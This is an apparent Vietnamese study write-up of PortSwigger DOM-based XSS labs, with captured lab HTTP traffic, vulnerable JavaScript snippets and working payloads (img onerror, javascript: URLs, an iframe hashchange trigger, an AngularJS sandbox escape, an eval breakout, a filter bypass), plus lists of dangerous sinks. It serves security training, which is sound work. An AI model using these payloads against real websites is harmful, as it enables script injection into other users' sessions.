What is DOM-based Cross-site Scripting?

Xảy ra khi code JavaScript ở phía client lấy dữ liệu từ một nguồn mà attacker có thể kiểm soát được chẳng hạn như URL và truyền vào một “sink” (lỗ thoát) mà được dùng để thực thi mã tự động chẳng hạn như eval() hoặc innerHTML.

Attacker sẽ gửi URL có chứa mã độc cho người dùng để họ gửi request tương tự với reflected XSS.

Minh họa:

How to Test for DOM-based Cross-site Scripting

Để test DOM XSS trong trường hợp payload được chèn vào HTML thì ta cần gửi một chuỗi ngẫu nhiên gồm chữ cái và số vào một entry point và dùng developer tools của trình duyệt để xem chuỗi đó được chèn vào đâu ở trong HTML.

Trong trường hợp payload được truyền vào một hàm JavaScript để thực thi thì ta cần dùng debugger của trình duyệt để xem payload được xử lý như thế nào.

Khi có được vị trí chèn dữ liệu thì ta sẽ xem xét đến các ngữ cảnh xung quanh. Ví dụ, nếu chuỗi truyền vào được bọc ở trong một cặp nháy đơn thì ta cần dùng cặp nháy kép trong payload để thoát ra khỏi cặp nháy đơn đó.

Attention

Các trình duyệt chẳng hạn như Chrome, Firefox, và Safari sẽ URL encode giá trị của location.search (query string) hoặc location.hash (fragment). Trong khi đó, IE và Edge lại không URL encode các giá trị này. Nếu payload của chúng ta bị URL encode thì sẽ không thực hiện được DOM XSS attack.

Tip

Trình duyệt của Burp có extension giúp tìm và khai thác các lỗ hổng DOM XSS dễ dàng hơn.

Exploiting DOM XSS with Different Sources and Sinks

Sink document.write có thể hoạt động với các thẻ <script> nên ta có thể xây dựng payload như sau:

document.write('... <script>alert(document.domain)</script> ...');

Lab: DOM XSS in document.write Sink Using Source location.search

Lab này sử dụng sink document.write để ghi dữ liệu từ location.search (có thể được kiểm soát thông qua URL) vào trang web.

Request có truy vấn có dạng như sau:

GET /?search=hello HTTP/2
Host: 0a6c0025044149b8803b584900840044.web-security-academy.net
Cookie: session=Ia5X9RF14asfHYsFfHr5sDRoqq54MY8G
Sec-Ch-Ua: "Microsoft Edge";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a6c0025044149b8803b584900840044.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8

Response có đoạn script sau:

<script>
	function trackSearch(query) {
		document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
	}
	var query = (new URLSearchParams(window.location.search)).get('search');
	if(query) {
		trackSearch(query);
	}
</script>

Dữ liệu được chèn vào HTML như sau:

<img src="/resources/images/tracker.gif?searchTerms=hello" f57m24ywa="">

Dùng payload như sau:

"><script>alert(1)</script>

Sau khi script trên được thực thi thì HTML sinh ra có dạng như sau:

<img src="/resources/images/tracker.gif?searchTerms=" ijkf94bwb="">
<script>alert(1)</script>

Lab: DOM XSS in document.write Sink Using source location.search Inside a Select Element

Lab này cũng tương tự lab trước: sử dụng document.write để ghi dữ liệu vào HTML từ location.search.

Xem thông tin chi tiết của một sản phẩm:

GET /product?productId=1 HTTP/2
Host: 0a93003b04bcd66c81aac0b4007e0060.web-security-academy.net
Cookie: session=RxoQUhYVKFnIeaEuiSvykEOsxF2ntVQ8
Sec-Ch-Ua: "Microsoft Edge";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a93003b04bcd66c81aac0b4007e0060.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8

Response có đoạn script sau:

<script>
	var stores = ["London","Paris","Milan"];
	var store = (new URLSearchParams(window.location.search)).get('storeId');
	document.write('<select name="storeId">');
	if(store) {
		document.write('<option selected>'+store+'</option>');
	}
	for(var i=0;i<stores.length;i++) {
		if(stores[i] === store) {
			continue;
		}
		document.write('<option>'+stores[i]+'</option>');
	}
	document.write('</select>');
</script>

Nếu không dùng query param storeId thì HTML được sinh ra từ đoạn script trên có dạng như sau:

<select name="storeId">
	<option>London</option>
	<option>Paris</option>
	<option>Milan</option>
</select>

Nếu dùng query param storeId thì nội dung của nó sẽ được chèn vào một thẻ <option selected>. Ví dụ, nếu storeId=Paris thì HTML sinh ra từ script sẽ là:

<select name="storeId">
	<option selected="">Paris</option>
	<option>London</option>
	<option>Milan</option>
</select>

Thử dùng payload sau cho query param storeId:

<script>alert(1)</script>

Khai thác thành công.

Lab: DOM XSS in innerHTML Sink Using Source location.search

Sink innerHTML không chấp nhận element <script> nên ta cần dùng các element khác chẳng hạn như <img> hoặc <iframe> kết hợp với các sự kiện onloadonerror. Ví dụ:

element.innerHTML='... <img src=1 onerror=alert(document.domain)> ...'

Lab này tồn tại lỗ hổng DOM-XSS ở chức năng tìm kiếm blog. Nó sử dụng innerHTML để thay đổi nội dung HTML của một thẻ <span> với dữ liệu lấy từ location.search.

Request tìm kiếm:

GET /?search=hello HTTP/2
Host: 0a1d004304381b67827d01d2004e00c4.web-security-academy.net
Cookie: session=XoFsx5AEtdYwclzTaErKh103yLYb3DM3
Sec-Ch-Ua: "Microsoft Edge";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a1d004304381b67827d01d2004e00c4.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8

Response có đoạn script sau:

<script>
	function doSearchQuery(query) {
		document.getElementById('searchMessage').innerHTML = query;
	}
	var query = (new URLSearchParams(window.location.search)).get('search');
	if(query) {
		doSearchQuery(query);
	}
</script>

Chuỗi hello trong query param search sẽ được chèn vào thẻ <span> có id là searchMessage như sau:

<span id="searchMessage">hello</span>

Dùng payload sau cho query param search:

<img src=1 onerror=alert(1)>

Khai thác thành công.

Sources and Sinks in Third-party Dependencies

Các sink và source từ các thư viện của bên thứ ba cũng có thể dùng để tấn công DOM-XSS.

Lab: DOM XSS in jQuery Anchor href Attribute Sink Using location.search Source

Nếu dữ liệu được đọc từ một nguồn mà user có thể kiểm soát chẳng hạn như URL rồi được truyền vào trong hàm thay đổi DOM element (chẳng hạn như hàm attr() của jQuery giúp thay đổi thuộc tính của element) thì ta có thể triển khai DOM-XSS attack. Ví dụ, xét đoạn script sau:

$(function() {
	$('#backLink').attr("href",(new URLSearchParams(window.location.search)).get('returnUrl'));
});

Chúng ta có thể truyền vào query param returnUrl payload như sau:

?returnUrl=javascript:alert(document.domain)

Khi đó, bất cứ khi nào người dùng click vào link có ID là #backLink thì payload sẽ được thực thi.

Info

Cú pháp javascript:<script> là để chạy script thông qua URL. Cụ thể, nếu ta gõ javascript:alert(1) vào URL của trình duyệt thì sẽ có hộp thoại hiện ra. Lưu ý là không thể thực hiện copy và paste chuỗi này để thực thi.

Lab này có lỗ hổng trong DOM-XSS trong chức năng submit feedback.

Truy vấn đến trang gửi feedback với returnPath=/:

GET /feedback?returnPath=/ HTTP/2
Host: 0a4b004b034d8a8d8175fcd000e10026.web-security-academy.net
Cookie: session=BwG6ilebyAQoI4OU7zJQXpzsH3CLO0DZ
Sec-Ch-Ua: "Microsoft Edge";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a4b004b034d8a8d8175fcd000e10026.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8

Response trả về có đoạn script sau:

<script>
	$(function() {
		$('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath'));
	});
</script>

Dùng payload sau cho query param returnPath:

javascript:alert(1)

Lab: DOM XSS in jQuery Selector Sink Using a hashchange Event

Attacker cũng có thể tấn công DOM-XSS thông qua hàm $() của jQuery kết hợp với giá trị của location.hash. Cụ thể, ngoài truy vấn element thì hàm $() còn có thể tạo element nếu đối số đầu tiên truyền vào có chứa một chuỗi trông giống như code HTML (có thể có các prefix hoặc suffix xung quanh). Ví dụ:

$("<img src=1 onerror=alert(1)>")

Trong đoạn code trên, jQuery sẽ cố gắng tạo ra một element <img>. Mà do thuộc tính src của thẻ <img> xảy ra lỗi nên script trong attribute onerror sẽ được thực thi.

Ví dụ, đoạn code bên dưới được dùng để cuộn trang đến vị trí của element tương ứng khi fragment trong URL thay đổi.

$(window).on('hashchange', function() {
	var element = $(location.hash);
	element[0].scrollIntoView();
});

Dễ thấy, để tấn công DOM-XSS, attacker sẽ chèn payload vào fragment của URL như sau:

/#<img src=1 onerror=alert(1)/>

Tuy nhiên, attacker cần trigger được sự kiện hashchange thì client-side script mới chạy payload. Để làm được điều này, attacker sẽ sử dụng một cross-site request có thuộc tính onload giúp thay đổi fragment như sau:

<iframe src="https://vulnerable-website.com#" onload="this.src+='<img src=1 onerror=alert(1)>'">

Lab này tồn tại lỗ hổng DOM-XSS ở trang chủ. Để hoàn thành, ta cần gọi hàm print() (dùng để in trang web) trong trình duyệt của nạn nhân.

Request đến trang chủ:

GET / HTTP/1.1
Host: 0a7e00cd0399809280c7806200d0004a.web-security-academy.net
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Microsoft Edge";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Referer: https://portswigger.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Connection: close

Response có đoạn script sau:

<script>
	$(window).on('hashchange', function(){
		var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
		if (post) post.get(0).scrollIntoView();
	});
</script>

Đoạn script sẽ cuộn màn hình đến các element các thẻ <h2> bên trong thẻ <section class="blog-list"> mà có nội dung chứa giá trị của location.hash.

Thử chạy script sau trên console:

$('section.blog-list h2:contains(<img src=1 onerror=print()>)')

Kết quả: có menu in hiện lên. Như vậy, ta có thể khai thác DOM-XSS nếu trigger được sự kiện hashchange với fragment là <img src=1 onerror=print()>.

Dùng payload sau ở trên exploit server:

<iframe src="https://0a7e00cd0399809280c7806200d0004a.web-security-academy.net/#" onload="this.src+='<img src=1 onerror=print()>'"></iframe>

Lab: DOM XSS in AngularJS Expression with Angle Brackets and Double Quotes HTML-encoded

Đối với trang web sử dụng AngularJS, nếu element có thuộc tính ng-app thì nó có thể được dùng để thực thi script. Ví dụ:

<div ng-app="">
	<p>My first expression: {{ 5 + 5 }}</p>
</div>

Kết quả sẽ là:

<div ng-app="" class="ng-scope">
	<p class="ng-binding">My first expression: 10</p>
</div>

Attacker có thể chèn payload vào cặp dấu ngoặc nhọn ({{}}) để thực thi script.

Lab này tồn tại lỗ hổng trong tính năng tìm kiếm. Mục tiêu là gọi hàm alert.

Request tìm kiếm có dạng như sau:

GET /?search=hello HTTP/2
Host: 0abe0001043eb5918062ad2f001b009a.web-security-academy.net
Cookie: session=TjXICcsXvbK92BqBN8IRRGryiCKIkZur
Sec-Ch-Ua: "Microsoft Edge";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0abe0001043eb5918062ad2f001b009a.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8

Thẻ <body> trong response có attribute ng-app.

Thử dùng giá trị {{7*7}} thì HTML là:

<h1 class="ng-binding">0 search results for '49'</h1>

Dùng payload ở PayloadsAllTheThings:

{{constructor.constructor('alert(1)')()}}

DOM XSS Combined with Reflected and Stored Data

Lab: Reflected DOM XSS

Dữ liệu của user có trong response (reflected XSS) có thể được chèn vào DOM bởi client-side script. Điều này khiến cho reflected XSS có thể được dùng để khai thác DOM XSS. Ví dụ:

eval('var data = "reflected string"');

Mục tiêu của lab này là gọi hàm alert.

Gửi request để tìm kiếm với từ khóa là hello:

GET /?search=hello HTTP/2
Host: 0a83009d03d506fd82fb39b1001000c2.web-security-academy.net
Cookie: session=6gXwy5jePE3OB9bcwi2WBnNdUXOgrhJj
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua: "Microsoft Edge";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a83009d03d506fd82fb39b1001000c2.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8

Response có một đoạn script như sau:

<script src='/resources/js/searchResults.js'></script>
<script>search('search-results')</script>

Hàm search trong searchResults.js có một đoạn như sau:

function search(path) {
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            eval('var searchResultsObj = ' + this.responseText);
            displaySearchResults(searchResultsObj);
        }
    };
    xhr.open("GET", path + window.location.search);
    xhr.send();
	
	// ...
}

Request gửi đến /search-results thông qua Ajax có response như sau:

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 35
 
{"results":[],"searchTerm":"hello"}

Thử dùng payload là "alert(1) thì response là:

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 40
 
{"results":[],"searchTerm":"\"alert(1)"}

Có thể thấy, ký tự " bị escape.

Thêm \ vào trước ký tự " thì ta được response sau:

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 41
 
{"results":[],"searchTerm":"\\"alert(1)"}

Tiếp tục thêm ký tự } để đóng object và ký tự ; để ngăn cách câu lệnh. Ngoài ra, ta cũng cần comment chuỗi "} ở cuối. Payload hoàn chỉnh:

\"};alert(1)//

Gửi request và hàm alert được thực thi bởi hàm eval.

Tip

Thực thi thử chuỗi truyền vào hàm eval để xây dựng payload.

Lab: Stored DOM XSS

Client-side script cũng có thể chèn payload được lưu trong database vào DOM. Ví dụ:

element.innerHTML = comment.author

Mục tiêu của lab này là thực thi hàm alert.

Đăng một comment với nội dung là hello lên post 1:

POST /post/comment HTTP/2
Host: 0aee00d40307d7f080605d8700f40083.web-security-academy.net
Cookie: session=1QIjtP5IBeo4i2Sg6HXxWvOq7CGHX5DE
Content-Length: 100
Cache-Control: max-age=0
Sec-Ch-Ua: "Microsoft Edge";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0aee00d40307d7f080605d8700f40083.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0aee00d40307d7f080605d8700f40083.web-security-academy.net/post?postId=1
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
 
csrf=hQCzmoA53c1PpY34yfj6vB96APMn3GvU&postId=1&comment=hello&name=hello&email=hello%40hello&website=

Request truy vấn post 1:

GET /post?postId=1 HTTP/2
Host: 0aee00d40307d7f080605d8700f40083.web-security-academy.net
Cookie: session=1QIjtP5IBeo4i2Sg6HXxWvOq7CGHX5DE
Sec-Ch-Ua: "Microsoft Edge";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0aee00d40307d7f080605d8700f40083.web-security-academy.net/post/comment/confirmation?postId=1
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8

Response có đoạn script sau:

<script src='/resources/js/loadCommentsWithVulnerableEscapeHtml.js'></script>
<script>loadComments('/post/comment')</script>

Hàm loadComments thực hiện truy vấn danh sách các comment thông qua Ajax:

function loadComments(postCommentPath) {
    let xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            let comments = JSON.parse(this.responseText);
            displayComments(comments);
        }
    };
    xhr.open("GET", postCommentPath + window.location.search);
    xhr.send();
    // ...
}

Request truy vấn danh sách comment:

GET /post/comment?postId=1 HTTP/2
Host: 0aee00d40307d7f080605d8700f40083.web-security-academy.net
Cookie: session=1QIjtP5IBeo4i2Sg6HXxWvOq7CGHX5DE
Sec-Ch-Ua: "Microsoft Edge";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0aee00d40307d7f080605d8700f40083.web-security-academy.net/post?postId=1
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8 

Response:

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 736
[
    {
        "avatar": "",
        "website": "",
        "date": "2024-03-18T20:00:17.199Z",
        "body": "I got Siri to read your blog and it lost some of its charm, I thought the same when I had her read my wedding toast.",
        "author": "Nat Itoode"
    },
    {
        "avatar": "",
        "website": "",
        "date": "2024-03-19T23:24:58.459Z",
        "body": "My best friend Steve ran off with my wife yesterday. Well, he's only been my best friend since yesterday.",
        "author": "Ivor Lemon"
    },
    {
        "avatar": "",
        "website": "",
        "date": "2024-04-08T12:02:41.618Z",
        "body": "I lost my daughter's Harry Potter book so I had to read her your blog. May I suggest you write about more magical themes in the future?",
        "author": "Cindy Music"
    },
    {
        "avatar": "",
        "website": "",
        "date": "2024-04-15T03:25:24.811095379Z",
        "body": "hello",
        "author": "hello"
    }
]

Trong hàm loadComments có hàm escapeHTML dùng để filter ký tự <>:

function loadComments(postCommentPath) {
    // ...
	
	
	function escapeHTML(html) {
		return html.replace('<', '&lt;').replace('>', '&gt;');
	}
	// ...
}

Tìm được một chỗ mà có sử dụng hàm escapeHTML trước khi gán cho innerHTML:

function loadComments(postCommentPath) {
	// ...
 
    function displayComments(comments) {
        let userComments = document.getElementById("user-comments");
 
        for (let i = 0; i < comments.length; ++i)
        {
            comment = comments[i];
			// ...
 
            if (comment.body) {
                let commentBodyPElement = document.createElement("p");
                commentBodyPElement.innerHTML = escapeHTML(comment.body);
                // ...
            }
			// ...
        }
    }
}

Kiểm tra tài liệu về hàm replace của kiểu String trong JavaScript thì thấy nó chỉ replace 1 lần duy nhất nếu đối số đầu tiên là kiểu chuỗi:

const paragraph = "I think Ruth's dog is cuter Ruth's your dog!";
console.log(paragraph.replace("Ruth's", 'my')); // "I think my dog is cuter Ruth's your dog!"

Xây dựng payload như sau:

<><script>alert(1)</script>

Tuy nhiên, ký tự / bị escape trong kết quả trả về của endpoint /post/comment:

{
  "avatar": "",
  "website": "",
  "date": "2024-04-15T04:14:48.357504789Z",
  "body": "<><script>alert(1);</script>",
  "author": "hello"
}

Sử dụng thẻ <img> thay vì thẻ <script>:

<><img src=1 onerror=alert(1)>

Payload trên thực thi được hàm alert.

Summary

Các sink có thể gây ra DOM XSS:

document.write()
document.writeln()
document.domain
element.innerHTML
element.outerHTML
element.insertAdjacentHTML
element.onevent

Các hàm của jQuery cũng có thể gây ra DOM XSS:

add()
after()
append()
animate()
insertAfter()
insertBefore()
before()
html()
prepend()
replaceAll()
replaceWith()
wrap()
wrapInner()
wrapAll()
has()
constructor()
init()
index()
jQuery.parseHTML()
$.parseHTML()
list
from outgoing([[Port Swigger - DOM XSS]])
sort file.ctime asc

Resources